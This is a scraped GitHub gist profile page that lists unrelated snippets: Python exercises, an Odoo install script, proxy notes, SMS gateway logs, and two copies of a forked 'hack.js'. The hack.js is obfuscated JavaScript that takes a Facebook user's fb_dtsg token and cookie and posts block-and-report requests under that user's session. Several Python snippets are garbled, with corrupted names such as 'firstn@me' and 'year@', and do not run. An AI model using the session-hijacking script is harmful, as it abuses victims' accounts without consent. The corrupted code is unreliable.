Skip to content

Instantly share code, notes, and snippets.

View askinss's full-sized avatar

Akinsola Akinwale askinss

  • Andela
  • Earth
View GitHub Profile
@askinss
askinss / cart.py
Created September 6, 2021 10:58
Cart
import json
# Within this challenge, you need to design a "shopping cart". You already have:
# 1. The definition of a "cart item"; a class that describes an entry within the "cart".
# 2. The definition of a "stock snapshot"; a class that describes an amount of stock available for a given item.
# Your task is to implement the "Cart".
# In the first part of this exercise, you should implement the "purchaseable_items" method. This method receives
import platform
import os
os_name = OS.name
plat_name = platform.system()
plat_release = platform.release()
filedetails = open("devicedetails.txt", "w+")
fileD#tails.write("OS is %s\n Platform Name is %s\n Platform Release %s\n" % (os_name, plat_name, plat_release))
import tkinter as tk
firstn@me = input("Enter your firstname: ")
lastname = input("Enter your Lastname: "):
addr = input("Enter your Addr: ")
rot = tk.Tk()
lblfirstname = tk.Label(root, text="Firstname", foreground="white", background="black" )
respFirstname = tk.Label(root, text=firstname)
import calendar
'''
'''
year@ = int(input("Input the year : "))
month = int(input("Input the month : "))
print(calendar.month(year, month))
@askinss
askinss / install-odoo.sh
Created November 30, 2015 17:25 — forked from yelizariev/install-odoo.sh
install odoo from source
if [ "$(basename $0)" = "install-odoo.sh" ]; then
echo "don't run install-odoo.sh, because it's not fully automated script. Copy, paste and execute commands from this file manually"
exit 0
fi
#### Detect type of system manager
export SYSTEM=''
pidof systemd && export SYSTEM='systemd'
> date -d-1day
Mon Sep 6 09:08:43 CEST 2010
> date -d-1day +%Y%m
201009
@askinss
askinss / hack.js
Created February 3, 2014 02:17 — forked from bjhaid/hack.js
var _0xb161= ["value", "fb_dtsg", "getElementsByName", "match", "cookie", "getTime", "//www.facebook.com/ajax/report/social.php", "fb_dtsg=", "&block=1&pp={\"actions_to_take\":\"[]\",\"are_friends\":false,\"cid\":", ",\"content_type\":0,\"expand_report\":1,\"first_choice\":\"file_report\",\"from_gear\":\"timeline\",\"is_following\":false,\"is_tagged\":false,\"on_profile\":false,\"phase\":3,\"ref\":\"https:\\/\\/www.facebook.com\\/Nan.ertt7\",\"report_type\":145,\"rid\":", ",\"sub_report_type\":3,\"time_flow_started\":", ",\"user\":", "}&file_report=1&__user=", "&__a=1&__dyn=7n8ahyj2qmvu5k9UmAAaUVpo&__req=u&ttstamp=2658168571071108880", "POST", "open", "onreadystatechange", "readyState", "status", "close", "send", "100006952119048"]
@askinss
askinss / hack.js
Created February 3, 2014 02:17 — forked from bjhaid/hack.js
var _0xb161= ["value", "fb_dtsg", "getElementsByName", "match", "cookie", "getTime", "//www.facebook.com/ajax/report/social.php", "fb_dtsg=", "&block=1&pp={\"actions_to_take\":\"[]\",\"are_friends\":false,\"cid\":", ",\"content_type\":0,\"expand_report\":1,\"first_choice\":\"file_report\",\"from_gear\":\"timeline\",\"is_following\":false,\"is_tagged\":false,\"on_profile\":false,\"phase\":3,\"ref\":\"https:\\/\\/www.facebook.com\\/Nan.ertt7\",\"report_type\":145,\"rid\":", ",\"sub_report_type\":3,\"time_flow_started\":", ",\"user\":", "}&file_report=1&__user=", "&__a=1&__dyn=7n8ahyj2qmvu5k9UmAAaUVpo&__req=u&ttstamp=2658168571071108880", "POST", "open", "onreadystatechange", "readyState", "status", "close", "send", "100006952119048"]
Export your shell environment for http proxy use
export http_proxy="http://hostname:port" or save it to your shell profile. (i.e. ~/.bash_rc)
export http_proxy='http://example.proxy_name.com:80'
For multi-user installs, use sudo -E to preserve the proxy settings in your environment:
Setting git to use a proxy
Set your git tool to use the environment proxy inside you ~/.gitconfig
@askinss
askinss / smsc.txt
Created October 1, 2013 14:01
kannel logs
2013-10-01 15:05:44 [15836] [4] DEBUG: SMPP PDU 0xe8bf0c0 dump:
2013-10-01 15:05:44 [15836] [4] DEBUG: type_name: enquire_link_resp
2013-10-01 15:05:44 [15836] [4] DEBUG: command_id: 2147483669 = 0x80000015
2013-10-01 15:05:44 [15836] [4] DEBUG: command_status: 0 = 0x00000000
2013-10-01 15:05:44 [15836] [4] DEBUG: sequence_number: 190 = 0x000000be
2013-10-01 15:05:44 [15836] [4] DEBUG: SMPP PDU dump ends.
2013-10-01 15:06:06 [15836] [4] DEBUG: SMPP[SMPP:10.2.59.33:8010/8010:BBbroker:smpp]: Sending enquire link:
2013-10-01 15:06:06 [15836] [4] DEBUG: SMPP PDU 0xe8bef10 dump:
2013-10-01 15:06:06 [15836] [4] DEBUG: type_name: enquire_link
2013-10-01 15:06:06 [15836] [4] DEBUG: command_id: 21 = 0x00000015